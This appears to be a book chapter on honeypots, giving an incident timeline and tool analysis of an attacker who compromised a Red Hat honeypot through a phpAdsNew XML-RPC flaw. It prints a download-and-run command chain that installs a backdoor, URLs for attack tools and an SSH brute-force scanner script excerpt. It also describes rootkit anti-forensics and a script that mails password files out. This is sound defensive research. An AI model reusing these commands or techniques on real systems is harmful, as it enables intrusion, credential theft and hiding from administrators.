|
|
Now that we have taken a close look at low-interaction honeypots and how they can be used as a burglar alarm or to detect infected machines on a network, we want to focus on high-interaction honeypots in the rest of the chapter. High-interaction honeypots have the advantage of using no emulation — the attacker can interact with a real system. This allows us to collect extensive information about an attack. Often we can also retrieve the tools used by the attacker and study his techniques. In several case studies we now present the lessons we have learned when deploying virtual high-interaction honeypots. These examples show you what you can expect to monitor on your honeypots when deploying them in your network. Of course, your observations will vary. If you place the honeypot in your DMZ, you will probably monitor more attacks from the outside, presumably targeting your real servers. However, if you place the honeypots behind your firewall in your LAN, you can observe insider attacks, a commonly underestimated threat.
The first attack we want to present is against a Red Hat 8.0 based honeypot. We wanted to learn more about attacks against web applications and thus installed some vulnerable web applications on the honeypot system. This is a general design consideration for honeypots: mimic the honeypot as close as possible to the system you want to learn more about. If you are interested in attacks against Windows services, of course, use a Windows system and enable as many services as seems reasonable. Or if you are interested in attacks against web applications, just install many of them on the honeypot and observe how attackers interact with them.
A web application is an application that runs on a web server, thus offering services to users over a network. The user interaction is done via a web browser with which the user can enter data, and the results are presented as web pages. This new type of application is becoming more and more popular due to several advantages over traditional applications. First, web applications offer an easy deployment process. The user can use his web browser to access it and does not have to install an additional program. If the application is upgraded to a new version, this process is transparent to the end user, who does not have to update anything. Moreover, most web applications are platform independent and can be accessed from a wide number of locations, resulting in a return of the "thin client" paradigm. On the other hand, all these facts lead to web applications becoming a more and more attractive target for attackers and new threats are emerging.
One of the main techniques behind web applications are scripting languages like PHP or JavaScript and concepts like XML and Cascading Style Sheets. Ajax (Asynchronous JavaScript and XML) is a development technique to create web applications with enhanced speed and usability that combines different techniques and comes into vogue nowadays. Prominent examples of web applications include Google Mail/Google Maps; Flickr, a photo sharing and management application; and WordPress, a blogging software. But there are many more web applications available — for example, each e-banking or e-commerce web page is some kind of web application.
From an attacker's point of view, a web application is an interesting target, and several aspects contribute to this. First, the quality of the source code regarding security aspects is often rather bad, as the numerous bug reports show. For example, the Cyber Security Bulletins from the US-CERT regularly have between 20 and 40 percent of all reports related to web applications. A second factor is the complex setup. Most web applications rely on a three-tier model:
The client is a web browser and executed on the end user system.
The web application itself is a web page, often incorporating a large amount of different techniques.
The data provider is usually a database containing the relevant information.
Each of these three tiers has its own vulnerabilities, so the attacker just has to find one that will compromise at least parts of the whole application.
Our honeypot was attacked and successfully compromised a couple of days after we connected it to the Interet by exploiting a vulnerability in one of the installed web applications, named phpAdsNew. The vulnerability allows a remote attacker to execute arbitrary commands, with the privileges of the web server on the victim host. This flaw is due to an unspecified error in the XML-RPC library for PHP. It was first discovered in July 2005 and affects all phpAdsNew versions up to 2.0.5.
The hostname of the compromised honeypot was clooney, and it was located within a university network. The attacker used four different hosts to interact with our honeypot:
The first offending system had the IP address 72.29.xxx.xxx, which is located in Orlando, Florida.
The next computer that was used during the attack, with the IP address 83.104.xxx.xxx, is positioned in Great Britain.
The last two machines, with the IP addresses 86.107.xxx.xxx and 81.181.xxx.xxx, are stationed in Bucharest, Romania.
The operating systems running on the attacking machines could not be exactly determined. The nickname of the intruder seems to be "Methadon" because an SSH key for this user was uploaded to our honeypot during the attack containing this name. Additionally, several tools that were used while the honeypot was under the attacker's control, for which "Methadon" claims to be the author, were found. This information could then be used for further link analysis: You could search for this rather uncommon nickname via popular search engines or other means to learn more about the attacker and his background. Suprisingly often, such simple analysis methods are successful!
The attack started at about 3:06 PM on May 7. The honeypot was scanned by the intruder for vulnerable PHP applications utilizing a file called xmlrpc.php. The first remote command that was executed by the attacker was uname -a, a Linux command to display system specific information, such as the hostname and running operating system. During the attack, several different tools were downloaded to the compromised host and the intruder managed to escalate the web server privileges to root — that is, he took complete control over the honeypot. Among the downloaded tools were several SSH scanners, a scanner for vulnerable PHP applications, a simple backdoor script, and a rootkit with backdoor functionality. The honeypot was misused to scan several other machines on the network for weak SSH passwords, as well as vulnerable PHP applications, such as the one installed on the honeypot itself. Furthermore, the attacker temporarily setup a PayPal phishing site. All this information could be collected by analyzing the data collected via the Data Capture mechanisms deployed at the Honeywall and analyzing the downloaded tools by the attacker.
Right after the honeypot was identified as being vulnerable to the XML-RPC attack, the intruder downloaded and installed a simple Perl-based backdoor script named Data ChaOS Connect Back Backdoor. This tool ran with the rights of the Apache web server and was used to provide a simple method for interacting with the honeypot. Thus, remote commands could be executed on the victim host without the need to exploit the web application vulnerability each time. Finally, the intruder acquired root privileges by executing a binary to exploit the kernel ptrace vulnerability. After the system was successfully conquered, a rootkit named SHv5 was installed, with a backdoor listening on port 1400. Additionally, several system binaries were replaced with Trojaned ones to cover the traces of the intrusion. The fact that several tools that were downloaded by the attacker to the honeypot were especially designed for Red Hat–based operating systems suggests that the assault was well prepared.
As soon as the intruder started to successfully compromise other systems in the network by utilizing the same method our machine was conquered with, we decided to take the honeypot offline. The decision of when to take a honeypot offline is yours. You must judge whether you have already collected enough valuable data and whether you expect more interesting things to happen. It is hard to give general advice on when to take a honeypot offline, but we usually do it a couple of days after a successful compromise, since the attacker has had enough time to use it.
Unfortunately, the Honeywall was not able to blight the outgoing attacks because the exploits used the standard HTTP protocol to execute remote commands on the victim hosts, which by default is not considered as harmful and is necessary to allow an attacker to download his tools to the honeypot. Therefore, we also informed the Deutsche Forschungsnetz (DFN) Computer Emergency Response Team (CERT) about the incident, who were already investigating a related case, which involved machines belonging to the same network range (ironically whitehat.cc) as the ones that were attacked by our honeypot.
Following is a detailed description of the actions taken by the attacker to compromise and misuse the honeypot. Each event is marked with its initial timestamp to form a complete timeline of the attack.
3:06:47 PM: The host 72.29.xxx.xxx connects to the honeypot for the first time, searching for vulnerable PHP applications by trying several different URLs to a file named xmlrpc.php.
3:08:12 PM: The remote command uname -a is executed, which in turn displays the hostname, kernel version, and operating system running on the honeypot.
8:50:40 PM: The attacker downloads the file s.txt from the URL mafiaboy.ca to the honeypot by utilizing the vulnerable PHP application. The file contains a Perl script called Data ChaOs Connect Back Backdoor, which opens a shell with the privileges of the web server to the attacker. This provides the intruder with a simpler way to interact with the victim host, while trying to further escalate his privileges.
8:51:01 PM: With the help of the Perl backdoor, another file named root.tar.gz is downloaded from rokyOo.evonet.ro. This TAR archive holds a large number of different exploits to gain root access for Red Hat–based operating systems as the one running on the honeypot. Roughly 30 seconds later, the machine is completely compromised by Methadon by exploiting the kernel ptrace vulnerability.
8:51:32 PM: Another file, named shv5.tar.gz, is downloaded to the successfully conquered system from www.cleverworldnet.com. This file contains the SHv5 rootkit, which installs several trojaned binaries to hide its presence and additionally opens a backdoor on TCP port 1400.
8:52:32 PM: The host with the IP address 86.107.xxx.xxx connects to the freshly installed SHv5 backdoor on port 1400 for the first time.
9:38:23 PM: The host with the IP address 81.181.xxx.xxx connects to the SHv5 backdoor on port 1400 for the first time.
9:48:49 PM: The attacker downloads his SSH key from the URL http://whitehat.cc/meth/ to the honeypot and installs it in the proper location. Although the SHv5 backdoor was installed and hidden, many of the following connections to the honeypot are made using the standard SSH daemon. Figure 10.10 shows the activity of the intruder on the honeypot that happened before and after the download of the SSH key. This is the actual output you can view with the help of the Data Analysis capabilities of the Honeywall.
9:49:26 PM: The attacker logs in from the host 81.181.xxx.xxx via SSH. During the next minutes, several changes to the web server, the /cgi-bin/ folder, and a file named pin.html are made. Additionally, a folder named cgl-bin is created, hosting the PayPal phishing site the attacker tries to set up later. Although the site is accessible from the web, the attacker removes it for unknown reasons only a few minutes later.
0:36:29 AM: Another file named ioi is downloaded from the URL whitehat.cc to the honeypot. This archive contains a large number of various SSH scanners, including Methadons personal brute force scanner: - -=- Gr33tz to MethadoN ;) -=- -.
0:37:47 AM: The attacker starts several SSH brute-force attacks against different hosts from two network ranges.
1:32:41 PM: The host 81.181.xxx.xxx logs in and starts downloading a file called udp.txt from the URL http://www.whoopis.com/howtos/phpBB-viewtopic-hack/. The file contains a Perl-based UDP flooding program, that is then used to flood the host 62.161.xxx.xxx, that belongs to a web-hosting company.
11:16:53 PM: The host 81.181.xxx.xxx connects to the SHv5 backdoor on port 1400 of our honeypot and downloads the file udp.pl from the URL http://packetstormsecurity.org/DoS/. This is the same UDP flooder as just described.
11:27:16 PM: The host 86.107.xxx.xxx connects to the SHv5 backdoor on port 1400 of our honeypot and downloads the file alexu.jpg from the URL http://www.free-ftp.org/unnamed/. The file contains another SSH brute-force scanner, with a password list holding more than 12,000 entries.
11:30:35 PM: The intruder initiates another SSH brute-force attack, with the freshly installed brute force sanner, on hosts within two different IP ranges.
11:37:19 PM: Another file named cola.tar is downloaded from the URL http://whitehat.cc/sorin/. This file contains a vulnerability scanner for PHP applications, utilizing a file named xmlrpc.php. This is probably the same scanner used to identify our honeypot as being vulnerable.
0:08:49 AM: The intruder scans several hosts for vulnerable PHP applications and manages to exploit the XMLRPC vulnerability on a few of them. To take over the machines, the attacker remotely executes a concatenation of the following commands: wget 208.25.xxx.xxx:443/bind.jpg, tar xzvf bind.jpg, chmod a+x, ./httpd. As a result, a backdoor is installed on the remote host, similar to the Perl script that was installed on our honeypot in the first place. At 0:10:39 AM, a total of six systems were compromised this way. Unfortunately, the Honeywall did not help us in this case, since it did not block the outgoing attacks.
At this point we decided to shut down the honeypot to prevent any further damage to other systems vulnerable to the xmlrpc.php exploit. In addition, we contacted the CERT responsible for our network and worked with them to inform the owners of the infected machines.
This section deals with the tools that were downloaded to our honeypot. These tools were then used by the attacker to take over and misuse the machine to harm other system on the network. We were able to reconstruct all download locations from the logfiles of the Honeywall. Therefore, we could retrieve and analyze all tools on a second host without the attacker noticing. As a result, examination of the utilities could take place, while the intruder was still active on the honeypot.
shv5.tar.gz: The compressed file contains the SHv5 rootkit that enables the intruder to have persistent root-level access to the compromised host. Upon installation, the rootkit modifies a number of system commands, to hide its presence and cover the tracks of the attacker. For example, it replaces the original netstat command (netstat displays the active TCP connections of a computer) so the execution will not show the hidden SSH server, which is set up by the rootkit.
The rootkit is distributed in a package named shv5.tar.gz and contains the following files:
drwxr-xr-x 6 root root 4,0K 21. Mai 14:36 . drwxr-xr-x 8 root root 4,0K 11. Mai 10:12 .. -rw-r--r-- 1 root root 491K 1. Mai 2003 bin.tgz -rw-r--r-- 1 root root 442 18. Apr 2003 conf.tgz -rw-r--r-- 1 root root 29K 15. Apr 2003 lib.tgz -rw-r--r-- 1 root root 2,8K 23. Apr 2003 README -rwxr-xr-x 1 root root 24K 2. Mai 2004 setup -rw-r--r-- 1 root root 121K 17. Apr 2003 utils.tgz |
The setup file is an executable shell script used to install the SHv5 rootkit on the victim host. Figure 10.11 shows the startup screen that is presented after the installation process is initiated. It takes two command line arguments: ./setup <sshd password> <sshd port>. The attacker started the shell script with the password "timelimit" and the TCP port "1400" on our honeypot. When executed, the setup first verifies that the current user has root privileges and then uncompresses all archived files included in the distribution. In the next step, the syslog daemon is stopped and the script checks if any remote logging mechanisms are enabled to prevent information leaking that would alert the system administrator. Additionally, the setup process looks for certain administration tools, like Tripwire.[4] Tripwire is a tool for detecting changes in a file system by comparing it against a previously built database containing checksums of each file. In case a Tripwire database is found, it gets overwritten, with the log message stating that the database is corrupt due to a disc-geometry or bad disc-sector error. Thus, tricking the administrator into rebuilding the database using the Trojaned binaries as a basis for the new checksums.
|
Code View: ============================================================================ MMMMM MMMMMM MMM MMMMMMMMM MMMM MMMM MMM [*] Presenting u shv5-rootkit ! MMM MMMM MMMM MMMM MMMM MMM [*] Designed for internal use ! MMM MMMMMMM MMMMMMMMMMMM MMM MMM MMMMMMMM MMMMMMMMMMMM MMM [*] brought to you by: PinT[x] MMM MMMM MMMM MMMM MMM [*] April 2003 MMM MMMM MMMM MMMM MMMM MMM MMM MMMMMMMMM MMMM MMMM MMM [*] *** VERY PRIVATE *** MMM MMM [*] *** so dont distribute *** MMMMM -C- -R- -E- -W- MMMMMM ============================================================================ |
In the next step, the rootkit installs a series of modified binaries, as well as the hidden SSH server. The modification made to the binaries affects the output that is displayed to the user so the presence of the attacker is concealed. All MD5 checksums of replaced files are stored in a single file named .shmd5 and encrypted into /dev/srd0. Future executions of the Trojaned md5sum command will read this file to display the original MD5 hashes of all modified binaries. The following tools are Trojaned after the successful installation of the SHv5 rootkit: ps, ifconfig, netstat, top, slocate, ls, find, dir, lsof, pstree and md5sum, which are included in the bin.tgz file. In addition to the Trojaned binaries, two utilities are installed from the utilz.tgz file: mIRKfORCE and SynScan. The first tool simulates multiple hosts on the same subnet and is capable of flooding an IRC server. It can be used to take over IRC channels, as well as to perform DDoS attacks. The second tool is a fast portscanner with the ability to detect vulnerable services running on a scanned host by parsing the banner output of services running on certain ports.
The file named conf.tgz contains a few configuration files for the different Trojaned binaries. For example, the file file.h contains the list of files to be hidden from directory listing.
Finally, the setup process scans the computer for other rootkit installations, as well as vulnerable services running on the compromised host. If a vulnerable application is found, the user is notified and urged to patch it. In the case of our Red Hat honeypot, the vulnerable WU-FTPD server v2.6.0 was detected, but no patch was applied by the attacker.
s.txt: This file contains a Perl script named "Data ChaOs Connect Back Backdoor." When executed, an outgoing connection from the victim host is established to the given host and port. As a result, the attacker is able to circumvent firewalls that filter inbound network traffic only. The spawned shell has the same level of access as the user executing the script. In this case it was running with the privileges of the Apache web server. Therefore, it serves as a simple method to remotely perform further actions on the victim host until full control is obtained.
root.tar.gz: The compressed file contains a whole collection of local root exploits, especially designed to work on Red Hat–based systems. The binary executed by the attacker on our honeypot is called hator and exploits the Linux kernel ptrace vulnerability. Among the other exploits contained in the distribution are, for example, a local /sbin/ifenslave buffer overrun exploit, an efstool local stack-based exploit and a SHOUTcast v1.8.9 remote exploit. Altogether, we found about 62 different exploits for all kinds of applications, and some even had the source code included.
udp.txt and udp.pl: Both scripts contain the same simple UDP flooder written in Perl. It was released by "Odix" in February 2001 and is freely availably at the URL http://packetstormsecurity.org. The script takes three parameters: the IP address of the victim host to be flooded, the port to which all UDP packets will be sent, and a time value that defines the duration of the attack. If the latter two arguments are left blank, the script chooses a random destination port and runs continuously.
ioi: The archived file contains the attacker's personal utilities collection, as we determined from the header of the SSH scanner script. An excerpt of this script is shown in the following listing:
Code View: #!/bin/bash
if [ $# != 1 ]; then
echo "usage: $0 <b class>"
exit;
fi
rm -f uniq.txt
clear
echo -e "\033[1;36m****** MethadoN's Private Scanner ******"
echo -e "#--=- Original by #eNale Team -=--#"
echo -e "\033[1;37m#--=- Do NoT XXXX with me Boy -=--#\033[1;31m"
./pscan2 $1 22
sleep 10
cat $1.pscan.22 | sort | uniq > mfu.txt
oopsnr2 = 'grep -c . mfu.txt'
echo -e "\033[1;36m#--=- BRUTEFORCE STARTED -=--#\033[Om"
echo -e "\033[1;36m#--=- USERS NO. 1 -=--#\033[Om"
cp O pass_file
./ssh-scan 150
rm -rf pass_file
cp 1 pass_file
echo -e "\033[1;36m#--=- USERS NO. 2 -=--#\033[Om"
./ssh-scan 150
rm -rf pass_file
cp 2 pass_file
echo -e "\033[1;36m#--=- USERS NO. 3 -=--#\033[Om"
./ssh-scan 150
[...]
|
The distribution also includes five files named 0 to 5, which contain the different username and password combinations that are used for the SSH brute-force attack. Altogether, the files contain around 15,000 login credentials. Furthermore, the compressed file contains a few standard Linux tools, which might not be available on a more secured compromised host. For example, the file editor pico and the utility for file retrieval via HTTP: wget. Additionally, a binary named vanish is included, which is capable of removing traces from various system log files, like /var/log/messages and the list of last logged in users.
alexu.jpg: The compressed file contains another SSH brute-force scanner called pscan, together with a number of startup shell scripts. Additionally, a file named pass.txt is included, with over 12,000 username and password combinations to be used with the scanner. Another file named vuln.txt contains the results of a SSH scan — that is, a list of IP addresses and hostnames with the associated working login credentials.
cola.tar: The compressed file contains a scanner for PHP applications which are vulnerable to the same XMLRPC vulnerability that was exploited to conquer our honeypot. Among several files, with lists of many different IP addresses that have already been scanned, the distribution contains a file named vuln.txt. This file includes information of about 2000 suspicious hosts, each with a URL associated to it, pointing to files named xmlrpc.php or adxmlrpc.php. Furthermore, another file named xmlrpc.log, which contains the scanner output for systems being vulnerable to the XMLRPC vulnerability, existed.
When executed, the script expects a class B network as a parameter and starts scanning for hosts with a webserver running on the standard TCP port 80. Each found web server is then queried for files named xmlrpc.php or adxmlrpc.php. If such a file is found on a server, the IP and URL is stored to the file named vuln.txt. Finally, the scanner tries to exploit the XMLRPC vulnerability on every host gathered in the previous step, with the payload uname -a. The results of the final step are stored in the file xmlrpc.log. Please note that the same command was also the first one to be executed on our honeypot, and it took almost six hours for more actions to happen. This leads to the conclusion that our honeypot was detected as vulnerable by the same tool.
bind.jpg: This is the file that was downloaded to the hosts that were attacked and successfully exploited from our honeypot. The compressed file contains a backdoor, several local root exploits, and a small mail script. The name of the installed backdoor is bindtty, which spawns a shell on a predefined port. Its binary is camouflaged as httpd, so it will look like a running Apache web server process. Among the local root exploits are the ptrace exploit, a linuxconf buffer overflow, and a suidperl exploit. The mail script captures the /etc/passwd and /etc/shadow files, which contain the encrypted passwords of all system users and mails them to a Romanian webmail account.
The attacker utilized an automated scanner (cola.tar) to find hosts running PHP applications that are vulnerable to the XMLRPC exploit, such as the the phpAdsNew application that was installed on our honeypot. According to the attack pattern and the analysis of the scanner, we can conclude that this utility was also used to detect our honeypot, which as a result was fully compromised by exploiting the kernel ptrace vulnerability.
The behavior of the intruder can be classified as a little careful and a little experienced. The tools that were downloaded to the honeypot did all work well, which implies that they were carefully selected prior to the attack. Almost all traces of the attacker on the system were properly covered, due to the Trojaned binaries of the SHv5 rootkit. Although the rootkit checked the victim host for some security tools, like Tripwire, there was no attempt to check for any honeypot-specific traits.
The motive of the attacker is not quite clear. The first intent to set up a phishing site was omitted for reasons unknown. The honeypot was then misused as a stepping stone to attack other systems within the network. For example, several hosts were scanned for weak SSH passwords, utilizing one of the installed SSH brute-force scanners. Furthermore, the intruder scanned for systems with vulnerable PHP applications installed.
|
|